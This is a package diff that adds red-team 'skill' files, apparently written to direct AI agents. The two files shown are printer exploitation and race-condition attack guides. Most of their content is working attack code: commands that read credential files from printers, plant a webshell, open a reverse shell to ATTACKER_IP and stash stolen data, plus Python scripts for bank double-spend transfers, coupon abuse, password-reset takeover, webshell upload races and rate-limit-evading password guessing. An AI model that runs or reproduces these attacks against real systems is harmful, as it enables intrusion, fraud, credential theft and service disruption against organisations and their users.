rtexit-method 0.1.6 → 0.1.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-ai-llm-security/SKILL.md +385 -0
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-oauth-oidc/SKILL.md +260 -0
- package/packaged-assets/.agents/skills/rt-printer-attacks/SKILL.md +213 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-sap-exploitation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-voip-sip/SKILL.md +231 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
|
@@ -0,0 +1,213 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-printer-attacks
|
|
3
|
+
description: "Network printer exploitation skill for authorized engagements. PRET (Printer Exploitation Toolkit) for PostScript and PJL attacks, printer credential extraction, stored document retrieval, printer as network pivot point, SNMP community string abuse, IPP exploitation, printer firmware attacks, and using printers as covert C2 storage. Use when network printers are in scope or when pivoting through printer VLANs."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-printer-attacks — Network Printer Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Network printers are overlooked in most security assessments but are high-value targets: they store copies of every printed document, often have unpatched firmware, sit on multiple VLANs, have weak or no authentication, and can be used as persistent storage for attacker data. Most enterprise printers speak PostScript, PJL, and PCL — each with exploitable features.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Fingerprinting
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Printer-specific ports
|
|
18
|
+
nmap -sV -p 9100,515,631,161,443,80 PRINTER_IP
|
|
19
|
+
# 9100 = RAW printing (JetDirect)
|
|
20
|
+
# 515 = LPD/LPR
|
|
21
|
+
# 631 = IPP (Internet Printing Protocol)
|
|
22
|
+
# 161 = SNMP
|
|
23
|
+
# 80 = Web management UI
|
|
24
|
+
|
|
25
|
+
# Discover printers on network
|
|
26
|
+
nmap -p 9100 --open 10.10.10.0/24
|
|
27
|
+
nmap --script printer-info 10.10.10.0/24
|
|
28
|
+
|
|
29
|
+
# SNMP community string (often 'public')
|
|
30
|
+
snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.2.1.43
|
|
31
|
+
# Returns: printer model, serial, status, paper level, etc.
|
|
32
|
+
|
|
33
|
+
# Web UI fingerprinting
|
|
34
|
+
curl http://PRINTER_IP/
|
|
35
|
+
# HP: /hp/device/index.htm
|
|
36
|
+
# Xerox: /wps/mydoc.html
|
|
37
|
+
# Canon: /English/pages/top.htm
|
|
38
|
+
# Ricoh: /web/entry.html
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## Phase 2 — PRET (Printer Exploitation Toolkit)
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# PRET = Python tool for attacking PostScript, PJL, and PCL printers
|
|
47
|
+
git clone https://github.com/RUB-NDS/PRET
|
|
48
|
+
pip3 install -r PRET/requirements.txt
|
|
49
|
+
|
|
50
|
+
# Connect via RAW port (9100) — most common
|
|
51
|
+
python3 PRET/pret.py PRINTER_IP pjl
|
|
52
|
+
python3 PRET/pret.py PRINTER_IP postscript
|
|
53
|
+
python3 PRET/pret.py PRINTER_IP pcl
|
|
54
|
+
|
|
55
|
+
# PJL attacks (Printer Job Language)
|
|
56
|
+
python3 PRET/pret.py PRINTER_IP pjl
|
|
57
|
+
# Once connected:
|
|
58
|
+
info variables # Printer config variables
|
|
59
|
+
info status # Current status
|
|
60
|
+
info id # Device ID and firmware
|
|
61
|
+
|
|
62
|
+
# Read filesystem
|
|
63
|
+
ls / # List root filesystem
|
|
64
|
+
ls /etc/ # Config files
|
|
65
|
+
cat /etc/shadow # Credential files (some printers run Linux)
|
|
66
|
+
|
|
67
|
+
# Get stored jobs / documents
|
|
68
|
+
ls /jobs/ # Pending print jobs
|
|
69
|
+
get /jobs/001.ps # Download print job (may contain sensitive docs)
|
|
70
|
+
|
|
71
|
+
# Set config (denial of service or persistence)
|
|
72
|
+
set TIMEOUT=0 # Brick printer until power cycle
|
|
73
|
+
|
|
74
|
+
# Filesystem write
|
|
75
|
+
put webshell.php /var/www/html/ # If printer runs web server
|
|
76
|
+
|
|
77
|
+
# PostScript attacks
|
|
78
|
+
python3 PRET/pret.py PRINTER_IP postscript
|
|
79
|
+
# Execute PostScript code
|
|
80
|
+
# Read filesystem via PostScript file operations
|
|
81
|
+
exec "(cat /etc/passwd) run"
|
|
82
|
+
|
|
83
|
+
# SSRF via PostScript
|
|
84
|
+
exec "(http://169.254.169.254/) run"
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## Phase 3 — Stored Document Retrieval
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# Many printers store copies of documents
|
|
93
|
+
# HR docs, financial reports, executive emails all pass through
|
|
94
|
+
|
|
95
|
+
# Via PJL
|
|
96
|
+
python3 PRET/pret.py PRINTER_IP pjl
|
|
97
|
+
ls /savedjobs/
|
|
98
|
+
get /savedjobs/confidential_report.pdf
|
|
99
|
+
|
|
100
|
+
# Via web UI (if no auth)
|
|
101
|
+
curl http://PRINTER_IP/hp/device/ScannerImages/
|
|
102
|
+
# Ricoh stored docs
|
|
103
|
+
curl http://PRINTER_IP/web/entry.html?func=FUNC&page=PrintFunc&subPage=JobList
|
|
104
|
+
|
|
105
|
+
# IPP (Internet Printing Protocol) — get job list
|
|
106
|
+
curl -X POST http://PRINTER_IP:631/printers/HP_LaserJet \
|
|
107
|
+
-H "Content-Type: application/ipp" \
|
|
108
|
+
--data-binary @get_jobs_request.ipp
|
|
109
|
+
|
|
110
|
+
# SNMP — get print job info
|
|
111
|
+
snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.2.1.43.11
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## Phase 4 — Credential Extraction
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
# Printers store LDAP, email, SMB credentials for scanning features
|
|
120
|
+
|
|
121
|
+
# Via web UI (no auth — very common)
|
|
122
|
+
curl http://PRINTER_IP/hp/device/ldap_settings.xml
|
|
123
|
+
curl http://PRINTER_IP/config.xml
|
|
124
|
+
# May contain: LDAP bind password, email server credentials, SMB share creds
|
|
125
|
+
|
|
126
|
+
# Via SNMP
|
|
127
|
+
snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.4.1.11.2.3.9.4.2
|
|
128
|
+
# HP MIB: contains email/LDAP config
|
|
129
|
+
|
|
130
|
+
# Via PJL filesystem read
|
|
131
|
+
python3 PRET/pret.py PRINTER_IP pjl
|
|
132
|
+
cat /etc/ldap.conf
|
|
133
|
+
cat /var/spool/samba/credentials.txt
|
|
134
|
+
ls /etc/
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
## Phase 5 — Printer as Network Pivot
|
|
140
|
+
|
|
141
|
+
```bash
|
|
142
|
+
# Printers often sit on multiple VLANs:
|
|
143
|
+
# - Office VLAN (users connect to print)
|
|
144
|
+
# - Server VLAN (for file scanning)
|
|
145
|
+
# - Management VLAN
|
|
146
|
+
# Use printer as proxy into otherwise-inaccessible networks
|
|
147
|
+
|
|
148
|
+
# If printer runs Linux (HP, Xerox, Ricoh often do):
|
|
149
|
+
python3 PRET/pret.py PRINTER_IP pjl
|
|
150
|
+
# Check if netcat/ncat available
|
|
151
|
+
exec "which nc ncat netcat"
|
|
152
|
+
|
|
153
|
+
# Reverse shell from printer
|
|
154
|
+
exec "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
|
|
155
|
+
|
|
156
|
+
# Once you have shell on printer:
|
|
157
|
+
ip addr show # Check all interfaces — printer may be on 2-3 networks
|
|
158
|
+
ip route # Check routing table
|
|
159
|
+
|
|
160
|
+
# Scan internal networks reachable from printer
|
|
161
|
+
for i in $(seq 1 254); do
|
|
162
|
+
ping -c1 -W1 10.20.0.$i &>/dev/null && echo "UP: 10.20.0.$i"
|
|
163
|
+
done
|
|
164
|
+
|
|
165
|
+
# Printer as data drop (covert storage)
|
|
166
|
+
# Upload stolen data to printer filesystem
|
|
167
|
+
python3 PRET/pret.py PRINTER_IP pjl
|
|
168
|
+
put exfil_data.zip /tmp/
|
|
169
|
+
# Data persists until printer is power cycled or storage wiped
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Phase 6 — DoS & Firmware Attacks
|
|
175
|
+
|
|
176
|
+
```bash
|
|
177
|
+
# Infinite print loop
|
|
178
|
+
python3 PRET/pret.py PRINTER_IP pjl
|
|
179
|
+
flood # Sends endless print jobs
|
|
180
|
+
|
|
181
|
+
# Printer crash via malformed PJL
|
|
182
|
+
echo -e '\x1b%-12345X@PJL \r\n@PJL SET SERVICEMODE=HPBOISEID\r\n' | nc PRINTER_IP 9100
|
|
183
|
+
|
|
184
|
+
# Firmware downgrade (if old vulnerable firmware available)
|
|
185
|
+
# HP: upload .bdl firmware file via web UI
|
|
186
|
+
curl -X POST http://PRINTER_IP/hp/device/update \
|
|
187
|
+
-F "firmware=@old_vulnerable_firmware.bdl"
|
|
188
|
+
|
|
189
|
+
# Change admin password via SNMP
|
|
190
|
+
snmpset -v2c -c private PRINTER_IP \
|
|
191
|
+
.1.3.6.1.4.1.11.2.3.9.4.2.1.1.3.3.0 s "newpassword"
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
---
|
|
195
|
+
|
|
196
|
+
## Skill Levels
|
|
197
|
+
|
|
198
|
+
**BEGINNER:** PRET PJL connection + info commands + web UI default credential testing
|
|
199
|
+
|
|
200
|
+
**INTERMEDIATE:** Stored document retrieval + credential extraction from config files + SNMP enumeration
|
|
201
|
+
|
|
202
|
+
**ADVANCED:** Printer filesystem access + reverse shell from printer + pivot into secondary VLANs
|
|
203
|
+
|
|
204
|
+
**EXPERT:** Firmware manipulation + printer as persistent C2 storage + cross-VLAN attacks via printer
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## References
|
|
209
|
+
|
|
210
|
+
- PRET: https://github.com/RUB-NDS/PRET
|
|
211
|
+
- Printer Hacking research (RUB): https://www.nds.rub.de/research/printer-hacking/
|
|
212
|
+
- SNMP printer MIBs: http://www.mibdepot.com
|
|
213
|
+
- MITRE T1012: https://attack.mitre.org/techniques/T1012/
|
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-race-conditions
|
|
3
|
+
description: "Race condition and concurrency attack skill for authorized engagements. TOCTOU (Time-of-Check-Time-of-Use) exploitation, HTTP/2 single-packet race attacks, API rate limit and balance bypass, coupon/voucher reuse via parallel requests, account takeover via concurrent password reset, file upload race conditions, Burp Suite Turbo Intruder for single-packet attacks, and limit-one bypass techniques. Use when testing web applications, APIs, or any system with concurrent request handling."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-race-conditions — Race Conditions & Concurrency Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Race conditions occur when application behavior depends on the timing of concurrent operations. A window of time between a check and its corresponding action (TOCTOU) allows attackers to exploit the gap. Modern HTTP/2 makes these attacks more reliable by sending multiple requests in a single TCP packet — eliminating network jitter.
|
|
11
|
+
|
|
12
|
+
**High-value targets:**
|
|
13
|
+
- Financial transactions (double-spend, balance manipulation)
|
|
14
|
+
- Coupon/promo code systems (use once → use many times)
|
|
15
|
+
- Account limits (free tier bypass, rate limit evasion)
|
|
16
|
+
- Password reset / email verification flows
|
|
17
|
+
- File operations (symlink attacks, upload processing)
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Identify Race Condition Candidates
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Patterns that suggest race condition vulnerabilities:
|
|
25
|
+
|
|
26
|
+
# 1. "Use once" operations
|
|
27
|
+
# - Promo codes / coupons
|
|
28
|
+
# - Gift card redemption
|
|
29
|
+
# - One-time tokens (password reset, email verify)
|
|
30
|
+
# - Referral bonuses
|
|
31
|
+
|
|
32
|
+
# 2. Limit-based operations
|
|
33
|
+
# - "Maximum 1 per account"
|
|
34
|
+
# - Rate-limited API calls
|
|
35
|
+
# - Free tier resource limits
|
|
36
|
+
# - Transfer limits
|
|
37
|
+
|
|
38
|
+
# 3. Check-then-act patterns
|
|
39
|
+
# if balance >= amount: deduct(amount) ← race window here
|
|
40
|
+
# if coupon_used == false: apply(coupon) ← race window here
|
|
41
|
+
# if slot_available: reserve(slot) ← race window here
|
|
42
|
+
|
|
43
|
+
# 4. File/resource operations
|
|
44
|
+
# Upload → validate → move ← race in validate step
|
|
45
|
+
# Create temp file → process → delete ← TOCTOU
|
|
46
|
+
|
|
47
|
+
# Test tool: Burp Suite Repeater / Turbo Intruder
|
|
48
|
+
# Browser: DevTools Network tab — look for state-changing requests
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Phase 2 — HTTP/2 Single-Packet Race Attack
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# HTTP/2 allows multiple requests in one TCP packet
|
|
57
|
+
# All requests arrive at server simultaneously → eliminates network jitter
|
|
58
|
+
# Makes race window exploitation much more reliable
|
|
59
|
+
|
|
60
|
+
# Burp Suite — single-packet attack (built-in since v2023.9)
|
|
61
|
+
# 1. Capture the target request in Proxy
|
|
62
|
+
# 2. Send to Repeater
|
|
63
|
+
# 3. Create a group of identical requests (right-click → Add to group)
|
|
64
|
+
# 4. Set connection: Send group in parallel (single-packet attack)
|
|
65
|
+
# 5. Send → all requests hit server simultaneously
|
|
66
|
+
|
|
67
|
+
# Turbo Intruder (Burp extension) — more control
|
|
68
|
+
# Extensions → BApp Store → Turbo Intruder
|
|
69
|
+
|
|
70
|
+
# race_single_packet.py (Turbo Intruder script)
|
|
71
|
+
def queueRequests(target, wordlists):
|
|
72
|
+
engine = RequestEngine(endpoint=target.endpoint,
|
|
73
|
+
concurrentConnections=1,
|
|
74
|
+
requestsPerConnection=50, # 50 requests in one packet
|
|
75
|
+
pipeline=True)
|
|
76
|
+
for i in range(50):
|
|
77
|
+
engine.queue(target.req)
|
|
78
|
+
|
|
79
|
+
def handleResponse(req, interesting):
|
|
80
|
+
table.add(req)
|
|
81
|
+
|
|
82
|
+
# Python requests — parallel race
|
|
83
|
+
import requests, threading, time
|
|
84
|
+
|
|
85
|
+
url = "https://target.com/api/redeem-coupon"
|
|
86
|
+
headers = {"Cookie": "session=YOUR_SESSION", "Content-Type": "application/json"}
|
|
87
|
+
data = '{"coupon_code": "SAVE50"}'
|
|
88
|
+
|
|
89
|
+
results = []
|
|
90
|
+
def send_request():
|
|
91
|
+
r = requests.post(url, headers=headers, data=data)
|
|
92
|
+
results.append(r.status_code)
|
|
93
|
+
|
|
94
|
+
# Launch 20 threads simultaneously
|
|
95
|
+
threads = [threading.Thread(target=send_request) for _ in range(20)]
|
|
96
|
+
|
|
97
|
+
# Synchronize start — all fire at same moment
|
|
98
|
+
barrier = threading.Barrier(20)
|
|
99
|
+
def synchronized_send():
|
|
100
|
+
barrier.wait() # Wait for all threads to be ready
|
|
101
|
+
send_request()
|
|
102
|
+
|
|
103
|
+
threads = [threading.Thread(target=synchronized_send) for _ in range(20)]
|
|
104
|
+
[t.start() for t in threads]
|
|
105
|
+
[t.join() for t in threads]
|
|
106
|
+
print(f"Results: {results}")
|
|
107
|
+
# Multiple 200 responses = race condition exploited
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## Phase 3 — Balance / Financial Race Conditions
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
# Double-spend attack: transfer money twice before balance updates
|
|
116
|
+
|
|
117
|
+
# Scenario: Transfer $100 from account with $100 balance
|
|
118
|
+
# Check: balance >= 100? YES
|
|
119
|
+
# [RACE WINDOW — send second request here]
|
|
120
|
+
# Deduct: balance = 0
|
|
121
|
+
|
|
122
|
+
# Both requests check balance = 100 → both pass → balance goes negative
|
|
123
|
+
|
|
124
|
+
python3 << 'EOF'
|
|
125
|
+
import requests, threading
|
|
126
|
+
|
|
127
|
+
session = requests.Session()
|
|
128
|
+
session.cookies.set("session", "YOUR_SESSION_TOKEN")
|
|
129
|
+
|
|
130
|
+
url = "https://bank.target.com/api/transfer"
|
|
131
|
+
payload = {"to_account": "ATTACKER_ACCOUNT", "amount": 100}
|
|
132
|
+
|
|
133
|
+
def transfer():
|
|
134
|
+
r = session.post(url, json=payload)
|
|
135
|
+
print(f"Status: {r.status_code} | Response: {r.text[:100]}")
|
|
136
|
+
|
|
137
|
+
# Synchronize 10 transfer requests
|
|
138
|
+
barrier = threading.Barrier(10)
|
|
139
|
+
def sync_transfer():
|
|
140
|
+
barrier.wait()
|
|
141
|
+
transfer()
|
|
142
|
+
|
|
143
|
+
threads = [threading.Thread(target=sync_transfer) for _ in range(10)]
|
|
144
|
+
[t.start() for t in threads]
|
|
145
|
+
[t.join() for t in threads]
|
|
146
|
+
EOF
|
|
147
|
+
|
|
148
|
+
# Same technique for:
|
|
149
|
+
# - Withdrawing more than balance
|
|
150
|
+
# - Applying a discount multiple times
|
|
151
|
+
# - Claiming a reward multiple times
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Phase 4 — Coupon / Promo Code Bypass
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# One-use coupon exploited multiple times
|
|
160
|
+
|
|
161
|
+
# Step 1: Identify the redeem endpoint
|
|
162
|
+
# POST /api/cart/apply-coupon {"code": "SAVE50"}
|
|
163
|
+
|
|
164
|
+
# Step 2: Add item to cart, don't redeem yet
|
|
165
|
+
# Step 3: Send 20+ parallel redemption requests
|
|
166
|
+
|
|
167
|
+
python3 << 'EOF'
|
|
168
|
+
import requests, threading
|
|
169
|
+
|
|
170
|
+
BASE = "https://shop.target.com"
|
|
171
|
+
SESSION = "your_session_cookie"
|
|
172
|
+
|
|
173
|
+
def apply_coupon():
|
|
174
|
+
r = requests.post(f"{BASE}/api/cart/apply-coupon",
|
|
175
|
+
json={"code": "SAVE50"},
|
|
176
|
+
cookies={"session": SESSION})
|
|
177
|
+
print(r.status_code, r.json().get("discount", ""))
|
|
178
|
+
|
|
179
|
+
# Fire 20 simultaneous requests
|
|
180
|
+
barrier = threading.Barrier(20)
|
|
181
|
+
def go():
|
|
182
|
+
barrier.wait()
|
|
183
|
+
apply_coupon()
|
|
184
|
+
|
|
185
|
+
threads = [threading.Thread(target=go) for _ in range(20)]
|
|
186
|
+
[t.start() for t in threads]
|
|
187
|
+
[t.join() for t in threads]
|
|
188
|
+
|
|
189
|
+
# Check cart total — likely applied multiple times
|
|
190
|
+
r = requests.get(f"{BASE}/api/cart", cookies={"session": SESSION})
|
|
191
|
+
print("Cart total:", r.json().get("total"))
|
|
192
|
+
EOF
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## Phase 5 — Account Takeover via Concurrent Password Reset
|
|
198
|
+
|
|
199
|
+
```bash
|
|
200
|
+
# Some apps generate short/predictable tokens
|
|
201
|
+
# Race: request multiple resets → multiple valid tokens → brute force shorter
|
|
202
|
+
|
|
203
|
+
# More common: email-based OTP reuse
|
|
204
|
+
# Reset token sent → token valid for 10 min → can be reused multiple times
|
|
205
|
+
# (No invalidation on first use = not a race, just a bug)
|
|
206
|
+
|
|
207
|
+
# Actual race: some apps invalidate token only AFTER successful reset
|
|
208
|
+
# Two simultaneous reset requests with same token:
|
|
209
|
+
# Request 1: validate(token) → valid → reset password → invalidate(token)
|
|
210
|
+
# Request 2: validate(token) → valid (check happened before invalidation)
|
|
211
|
+
# Both succeed → control account
|
|
212
|
+
|
|
213
|
+
python3 << 'EOF'
|
|
214
|
+
import requests, threading
|
|
215
|
+
|
|
216
|
+
token = "RESET_TOKEN_FROM_EMAIL"
|
|
217
|
+
new_pass_1 = "Attacker1!"
|
|
218
|
+
new_pass_2 = "Attacker2!"
|
|
219
|
+
|
|
220
|
+
def reset(new_password):
|
|
221
|
+
r = requests.post("https://target.com/reset-password",
|
|
222
|
+
json={"token": token, "password": new_password})
|
|
223
|
+
print(f"Password {new_password}: {r.status_code} {r.text[:50]}")
|
|
224
|
+
|
|
225
|
+
barrier = threading.Barrier(2)
|
|
226
|
+
t1 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_1)])
|
|
227
|
+
t2 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_2)])
|
|
228
|
+
t1.start(); t2.start()
|
|
229
|
+
t1.join(); t2.join()
|
|
230
|
+
# If both 200 → token used twice → race confirmed
|
|
231
|
+
EOF
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Phase 6 — File Upload Race Conditions
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Upload → validate → move to final location
|
|
240
|
+
# Race window: between upload and validation
|
|
241
|
+
# If validation only checks file after move → bypass possible
|
|
242
|
+
|
|
243
|
+
# Scenario: app uploads file, validates it's an image, then serves it
|
|
244
|
+
# Race: upload PHP shell → immediately request it before validation deletes it
|
|
245
|
+
|
|
246
|
+
python3 << 'EOF'
|
|
247
|
+
import requests, threading, time
|
|
248
|
+
|
|
249
|
+
url_upload = "https://target.com/upload"
|
|
250
|
+
url_exec = "https://target.com/uploads/shell.php?cmd=id"
|
|
251
|
+
session_cookie = {"session": "YOUR_SESSION"}
|
|
252
|
+
|
|
253
|
+
shell_content = b"<?php system($_GET['cmd']); ?>"
|
|
254
|
+
|
|
255
|
+
def upload():
|
|
256
|
+
files = {"file": ("shell.php", shell_content, "image/jpeg")}
|
|
257
|
+
return requests.post(url_upload, files=files, cookies=session_cookie)
|
|
258
|
+
|
|
259
|
+
def execute():
|
|
260
|
+
for _ in range(100): # Keep trying during race window
|
|
261
|
+
r = requests.get(url_exec, cookies=session_cookie)
|
|
262
|
+
if "uid=" in r.text:
|
|
263
|
+
print("RCE:", r.text[:100])
|
|
264
|
+
return
|
|
265
|
+
time.sleep(0.01)
|
|
266
|
+
|
|
267
|
+
# Upload and immediately try to execute in parallel
|
|
268
|
+
t_upload = threading.Thread(target=upload)
|
|
269
|
+
t_exec = threading.Thread(target=execute)
|
|
270
|
+
t_exec.start() # Start execution attempts first
|
|
271
|
+
t_upload.start() # Then upload
|
|
272
|
+
t_upload.join(); t_exec.join()
|
|
273
|
+
EOF
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## Phase 7 — TOCTOU in File System
|
|
279
|
+
|
|
280
|
+
```bash
|
|
281
|
+
# Time-of-Check-Time-of-Use on filesystem
|
|
282
|
+
# Scenario: app checks if path is safe, then opens it
|
|
283
|
+
# Race: replace safe path with symlink to /etc/passwd between check and open
|
|
284
|
+
|
|
285
|
+
# Classic symlink attack
|
|
286
|
+
mkdir /tmp/race
|
|
287
|
+
ln -s /etc/passwd /tmp/race/target # Create symlink
|
|
288
|
+
|
|
289
|
+
# If app does:
|
|
290
|
+
# if os.path.isfile("/tmp/user_upload"): ← CHECK
|
|
291
|
+
# process("/tmp/user_upload") ← USE (could be symlink now)
|
|
292
|
+
|
|
293
|
+
# Race script
|
|
294
|
+
while true; do
|
|
295
|
+
rm -f /tmp/user_upload
|
|
296
|
+
cp benign_file.txt /tmp/user_upload # Safe file (passes check)
|
|
297
|
+
rm -f /tmp/user_upload
|
|
298
|
+
ln -s /etc/passwd /tmp/user_upload # Symlink (used in action)
|
|
299
|
+
done &
|
|
300
|
+
|
|
301
|
+
# Trigger the vulnerable app operation repeatedly
|
|
302
|
+
# If successful → app reads /etc/passwd instead of user file
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
---
|
|
306
|
+
|
|
307
|
+
## Phase 8 — Rate Limit Bypass
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
# Rate limits often implemented per-IP or per-session
|
|
311
|
+
# Race can send burst before counter increments
|
|
312
|
+
|
|
313
|
+
# Identify rate-limited endpoint
|
|
314
|
+
# POST /api/login → 5 attempts/min → locked
|
|
315
|
+
|
|
316
|
+
# Bypass: send all attempts simultaneously before counter processes them
|
|
317
|
+
python3 << 'EOF'
|
|
318
|
+
import requests, threading
|
|
319
|
+
|
|
320
|
+
passwords = ["Summer2024!", "Password1!", "Welcome1!", "Admin123!",
|
|
321
|
+
"Company2024!", "Spring2024!", "Winter2024!", "Fall2024!"]
|
|
322
|
+
|
|
323
|
+
def try_password(p):
|
|
324
|
+
r = requests.post("https://target.com/login",
|
|
325
|
+
json={"username": "admin", "password": p},
|
|
326
|
+
headers={"X-Forwarded-For": f"1.2.3.{hash(p) % 255}"})
|
|
327
|
+
if "invalid" not in r.text.lower():
|
|
328
|
+
print(f"SUCCESS: {p}")
|
|
329
|
+
|
|
330
|
+
barrier = threading.Barrier(len(passwords))
|
|
331
|
+
threads = [threading.Thread(target=lambda p=p: [barrier.wait(), try_password(p)])
|
|
332
|
+
for p in passwords]
|
|
333
|
+
[t.start() for t in threads]
|
|
334
|
+
[t.join() for t in threads]
|
|
335
|
+
EOF
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
---
|
|
339
|
+
|
|
340
|
+
## Skill Levels
|
|
341
|
+
|
|
342
|
+
**BEGINNER:** Burp Repeater parallel group → coupon/promo bypass → observe multiple success responses
|
|
343
|
+
|
|
344
|
+
**INTERMEDIATE:** Turbo Intruder single-packet attack → balance manipulation → password reset token reuse
|
|
345
|
+
|
|
346
|
+
**ADVANCED:** File upload race → TOCTOU symlink → rate limit burst bypass with IP rotation
|
|
347
|
+
|
|
348
|
+
**EXPERT:** Custom HTTP/2 single-packet tooling → distributed race across multiple sessions → chaining with other vulns
|
|
349
|
+
|
|
350
|
+
---
|
|
351
|
+
|
|
352
|
+
## References
|
|
353
|
+
|
|
354
|
+
- PortSwigger Race Conditions: https://portswigger.net/web-security/race-conditions
|
|
355
|
+
- Turbo Intruder: https://github.com/PortSwigger/turbo-intruder
|
|
356
|
+
- HTTP/2 Single Packet Attack paper: https://portswigger.net/research/smashing-the-state-machine
|
|
357
|
+
- MITRE T1499.004: https://attack.mitre.org/techniques/T1499/004/
|